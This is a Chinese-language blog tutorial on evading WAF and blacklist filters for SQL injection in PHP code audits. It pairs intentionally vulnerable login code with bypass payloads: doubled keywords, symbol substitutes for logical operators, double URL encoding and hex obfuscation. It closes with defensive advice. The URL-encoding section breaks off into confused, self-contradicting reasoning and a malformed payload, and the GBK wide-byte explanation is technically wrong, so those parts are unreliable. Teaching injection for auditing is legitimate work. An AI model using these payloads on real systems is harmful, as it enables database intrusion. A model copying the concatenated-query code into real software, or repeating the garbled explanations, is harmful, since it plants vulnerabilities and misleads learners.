跳到主要内容 网络安全:PHP 代码审计中的 SQL 注入 WAF 绕过技巧 | 极客日志
PHP
网络安全:PHP 代码审计中的 SQL 注入 WAF 绕过技巧 本文详细讲解了 PHP 代码审计中 SQL 注入的高级绕过技巧。内容涵盖关键字过滤绕过(大小写、双写)、逻辑运算符绕过(符号替代)、URL 编码绕过(二次解码风险)以及字符集绕过等常见场景。文章通过分析具体代码示例,阐述了 WAF 的工作原理及防御盲区,并提供了相应的防御建议,如使用预处理语句和输入验证。旨在帮助安全研究人员和开发人员深入理解 SQL 注入机制,提升代码安全性。
前言
在 Web 安全领域,SQL 注入是最常见且危害最大的漏洞之一。经过基础的学习,我们已经了解了 SQL 注入的基本原理和审计方法。然而,在实际的生产环境中,用户的输入输出接口不可能像教学示例那样没有任何防御措施。现代网站和 APP 普遍部署了 Web 应用防火墙(WAF),用于对业务流量进行恶意特征识别及防护,以避免服务器被恶意入侵。
WAF 通常通过正则匹配、黑名单过滤等手段拦截包含敏感关键字的请求。因此,在进行代码审计或渗透测试时,我们需要掌握绕过 WAF 的技巧。本文将通过 PHP 代码审计的方式,深入讲解几种常见的 SQL 注入 WAF 绕过方法,包括关键字过滤绕过、逻辑运算符绕过、URL 编码绕过以及字符集绕过等。
关键字过滤绕过 部分 WAF 会对 SQL 关键字进行严格的字符串替换或过滤。我们可以利用编程语言的特性或数据库的解析规则来绕过这些限制。
源代码分析 以下是一个典型的登录接口代码片段,其中定义了一个自定义函数 dl 来过滤危险字符:
<?php
require 'db.php' ;
header ('Content-type:text/html;charset=utf8' );
$username = dl ($_POST ['username' ]);
$password = dl ($_POST ['password' ]);
$dl = "SELECT * FROM xs WHERE username='$username ' and password='$password '" ;
$ck = mysqli_query ($db , $dl );
$row = mysqli_fetch_array ($ck );
if ($_POST ['login' ]) {
if ($row ) {
echo "你的密码" . $row ['username' ];
} else {
echo "登录失败" ;
}
}
function dl ($gl ) {
$gl = str_replace (array ("union" , "UNION" ), "" , "$gl " );
$gl = str_replace (array ("select" , "SELECT" ), "" , "$gl " );
$gl = str_replace (array ("database" , "DATABASE" ), "" , "$gl " );
$gl = str_replace (array ("sleep" , "SLEEP" ), "" , "$gl " );
$gl = str_replace (array ("if" , "IF" ), "" , "$gl " );
$gl = str_replace ("--" , "" , "$gl " );
$gl = str_replace ("order" , "" , "$gl " );
return $gl ;
}
?>
程序获取用户提交的 username 和 password 参数。
调用 dl 函数处理输入数据。
dl 函数使用 str_replace 将常见的 SQL 关键字(如 union, select, database 等)替换为空字符串。
处理后的数据拼接成 SQL 语句执行。
如果登录成功,回显用户名;否则提示失败。
这是一个非常基础的后台登录代码,虽然做了简单的危险字符过滤,但存在明显的逻辑缺陷。
关键字过滤注入方法
大小写混合绕过 :MySQL 数据库不区分关键字的大小写。虽然 str_replace 同时过滤了小写和大写,但如果我们使用混合大小写,某些配置不当的过滤器可能无法完全覆盖。例如,使用 Select Union DAtabase() 这样的组合,在某些旧版 WAF 规则下可能生效。但在本例中,由于代码明确写了 array("union","UNION"),这种简单的混写可能无效,需要结合其他技巧。
双写关键字绕过 :这是利用 str_replace 只替换一次的特性。例如,如果我们传入 seselectlect,函数会将中间的 select 替换为空,剩下的字符拼凑起来变成 select。同理,ununionion 可以绕过 union 的过滤。
注释符绕过 :如果过滤了关键字但没过滤注释符,可以在关键字前后添加注释,或者利用注释符跳过部分过滤逻辑。
大小写与双写结合:-1' unioN Select dataBASE(),2 #
双写关键字:-1' ununionion selecselectt databasatabasee(),2 #
在实际操作中,由于回显位存在,可以使用 UNION SELECT 联合查询注入来获取数据库信息。需要注意的是,不同版本的 MySQL 对大小写的处理可能存在细微差异,建议在实际测试前确认目标环境的数据库版本。
OR AND XOR NOT 过滤绕过 除了基本的关键字,逻辑运算符如 OR, AND, XOR, NOT 也是 WAF 重点监控的对象。当这些关键字被过滤后,攻击者往往转向盲注或延时注入。
源代码分析 在上一段代码的基础上,开发者增加了一个 preg_match 函数来增强过滤:
<?php
require 'db.php' ;
header ('Content-type:text/html;charset=utf8' );
$username = dl ($_POST ['username' ]);
$password = dl ($_POST ['password' ]);
$zifu = '/(and|or|xor|not)/i' ;
if (preg_match ($zifu , "$username &&$password " )) {
echo "<script>alert('存在危险字符')</script>" ;
}
?>
增加了正则表达式 $zifu = '/(and|or|xor|not)/i'。
使用 preg_match 检测输入中是否包含这些逻辑运算符,忽略大小写(/i 标志)。
一旦检测到,直接弹出警告并终止后续逻辑。
回显位改为了'登录成功'或'登录失败',这意味着无法直接回显数据,只能采用盲注(Boolean-based Blind)或时间盲注(Time-based Blind)。
逻辑运算符绕过
符号替代 :SQL 标准支持多种表示逻辑运算的符号。虽然 AND 被过滤,但 && 在 MySQL 中同样代表逻辑与。同理,OR 可以用 || 代替,XOR 可以用 ^ 代替,NOT 可以用 ! 代替。
大小写绕过 :由于 preg_match 使用了 /i 标志,大小写混合无法绕过,必须寻找其他路径。
构造盲注语句 :
使用 && 代替 AND:1' && length(database())=3 #
使用 || 代替 OR:1' || 1=1 #
使用 ^ 代替 XOR:1' ^ 1=0 #
注意事项:
在使用符号替代时,需要注意优先级问题。例如 AND 的优先级高于 OR,而 && 和 || 的优先级也遵循 C 语言规则。在构造复杂 Payload 时,务必使用括号确保逻辑正确。
URL 编码绕过 Web 容器在接收到 URL 请求后会自动进行一次 URL 编码解析。如果业务逻辑在接收参数后,又对参数进行了二次 URL 解码,就会产生严重的安全隐患。
源代码分析 <?php
require 'db.php' ;
header ('Content-type:text/html;charset=utf8' );
$id1 = $_GET ['id' ];
$gl = "/and|or|not|xor|length|union|select|database|if|sleep|substr/i" ;
if (preg_match ($gl , $id1 )) {
echo "<script>alert('存在危险字符')</script>" ;
} else {
$id = urldecode ($id1 );
$dl = "SELECT * FROM xs WHERE id='$id '" ;
$result = mysqli_query ($db , $dl );
$row = mysqli_fetch_assoc ($result );
if ($_GET ['id' ]) {
if ($row ) {
echo "登录成功:" . $row ['username' ];
}
}
}
?>
获取 GET 参数 id。
首先检查原始参数 $id1 是否包含危险字符。
如果未触发过滤,则对 $id1 执行 urldecode 操作。
将解码后的值 $id 拼接到 SQL 语句中。
漏洞原理:
危险过滤是在第一次解析(即浏览器发送请求时)之后执行的,而第二次解析(代码中的 urldecode)发生在过滤之后。这意味着我们可以提交经过两次 URL 编码的数据。第一次编码后,危险字符变成了不可见的编码形式,从而骗过 preg_match。第二次解码后,危险字符恢复原状,进入数据库执行。
注入语句构造
and 的一次 URL 编码为 %61%6e%64。
再次编码变为 %25%36%31%25%36%65%25%36%34。
提交该 Payload,Web 容器不会自动解码它(因为它不在 URL 路径中,而是作为参数值),但代码中的 urldecode 会将其还原为 %61%6e%64。
此时 preg_match 检查的是原始参数 %25%36...,不包含 and,所以放行。
随后 urldecode 将其变为 %61%6e%64,但这仍然不是 and。等等,这里需要更精确的逻辑。
修正理解:
实际上,如果是双重 URL 编码,Payload 应该是 %25%36%31%25%36%65%25%36%34。第一次 urldecode 后变为 %61%6e%64。如果代码只调用了 urldecode 一次,那么最终变量里是 %61%6e%64,这依然不是 and。要让它变成 and,通常需要三次编码,或者代码中有两次 urldecode。但在本例中,代码只调用了一次 urldecode。因此,这里的绕过逻辑通常是:
原始字符 a -> 编码 %61 -> 再编码 %25%36%31。
如果代码先做了一次 urldecode,它变成了 %61。
如果数据库驱动或 MySQL 客户端对 %61 进行了解析,它变成了 a。
但在 SQL 注入中,我们通常希望 and 出现。如果代码只 decode 一次,我们需要提交 %25%61%25%6e%25%64 (即 and 的每个字母都编码)。这样第一次 decode 后变成 %61%6e%64。如果 MySQL 能识别 %61 为 a,则可行。但更常见的是利用 WAF 对 URL 编码的解析差异。
通用策略:
对于此类二次编码漏洞,标准的 Payload 构造是将关键字进行多次 URL 编码。例如 union 可以编码为 %75%6e%69%6f%6e。如果 WAF 没有对 % 进行过滤,且代码进行了 urldecode,则可能绕过。
构造尝试语句:
将 -1' union select database(),2,3 --+ 进行双重 URL 编码后提交。例如:
-1'%2527%2520%2575%256e%2569%256f%256e%2520%2573%2565%256c%2565%2563%2574%2520%2564%2561%2574%2561%2562%2561%2573%2565%2528%2529。
字符集与编码绕过 除了逻辑和编码,字符集(Charset)也是绕过 WAF 的重要手段。不同的字符集对特殊字符的解析方式不同。
GBK 多字节字符注入 在 MySQL 中,GBK 编码允许一个汉字占用两个字节。如果 WAF 按单字节过滤,而数据库按双字节解析,就可能产生绕过。
原理:
假设 WAF 过滤了 -- 注释符。如果我们使用 GBK 编码,可以将 -- 的一部分与前面的非法字符组合成一个合法的汉字,从而绕过过滤。
字符 x 的 ASCII 码是 0x78。
字符 -- 是 0x2d 0x2d。
如果我们将 0x78 和 0x2d 组合,在某些编码下可能被视为一个合法字符,导致后面的 0x2d 不被识别为注释符的开始。
注意:
此方法依赖于具体的字符集设置(如 character_set_connection)。在现代 UTF-8 普及的环境下,这种方法的使用频率有所下降,但在老旧系统中依然有效。
函数混淆与编码绕过 WAF 通常也会过滤特定的函数名,如 concat, char, hex 等。我们可以通过内联函数或十六进制编码来绕过。
Hex 编码绕过 MySQL 支持 HEX() 函数将字符串转换为十六进制。我们可以利用这一点,将关键字转换为十六进制形式,再通过 CONV() 或 CHAR() 函数转换回来。
select 的十六进制是 73656c656374。
Payload: SELECT CHAR(0x73, 0x65, 0x6c, 0x65, 0x63, 0x74)。
或者使用 FROM_BASE64 等函数。
内联函数绕过 如果 UNION 被过滤,可以尝试使用 INFORMATION_SCHEMA 表查询,或者利用 LOAD_FILE 读取文件内容。
防御策略与建议
使用预处理语句(Prepared Statements) :这是防止 SQL 注入最有效的方法。使用 PDO 或 MySQLi 的预处理功能,将 SQL 逻辑与数据分离。
$stmt = $pdo ->prepare ('SELECT * FROM users WHERE id = :id' );
$stmt ->execute (['id' => $user_input ]);
输入验证与白名单 :不要依赖黑名单过滤。对于数字 ID,强制类型转换为整数;对于特定格式输入,使用正则严格匹配。
最小权限原则 :数据库连接账号不应拥有 DROP, ALTER 等高危权限,仅授予必要的 SELECT, INSERT 权限。
统一错误处理 :避免将详细的数据库错误信息返回给前端,防止信息泄露。
定期更新 WAF 规则 :关注最新的威胁情报,及时更新防火墙规则库。
结语 SQL 注入的绕过技术多种多样,随着 WAF 的升级,攻击手段也在不断演变。代码审计的核心在于理解应用程序的数据流和处理逻辑。通过阅读源码,找出数据如何从用户输入传递到数据库执行的过程,才能发现潜在的注入点。同时,安全开发应始终放在首位,通过规范的编码习惯从根本上消除安全隐患。
相关免费在线工具 curl 转代码 解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
Base64 字符串编码/解码 将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
Base64 文件转换器 将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
Markdown转HTML 将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online
HTML转Markdown 将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML转Markdown在线工具,online
JSON 压缩 通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online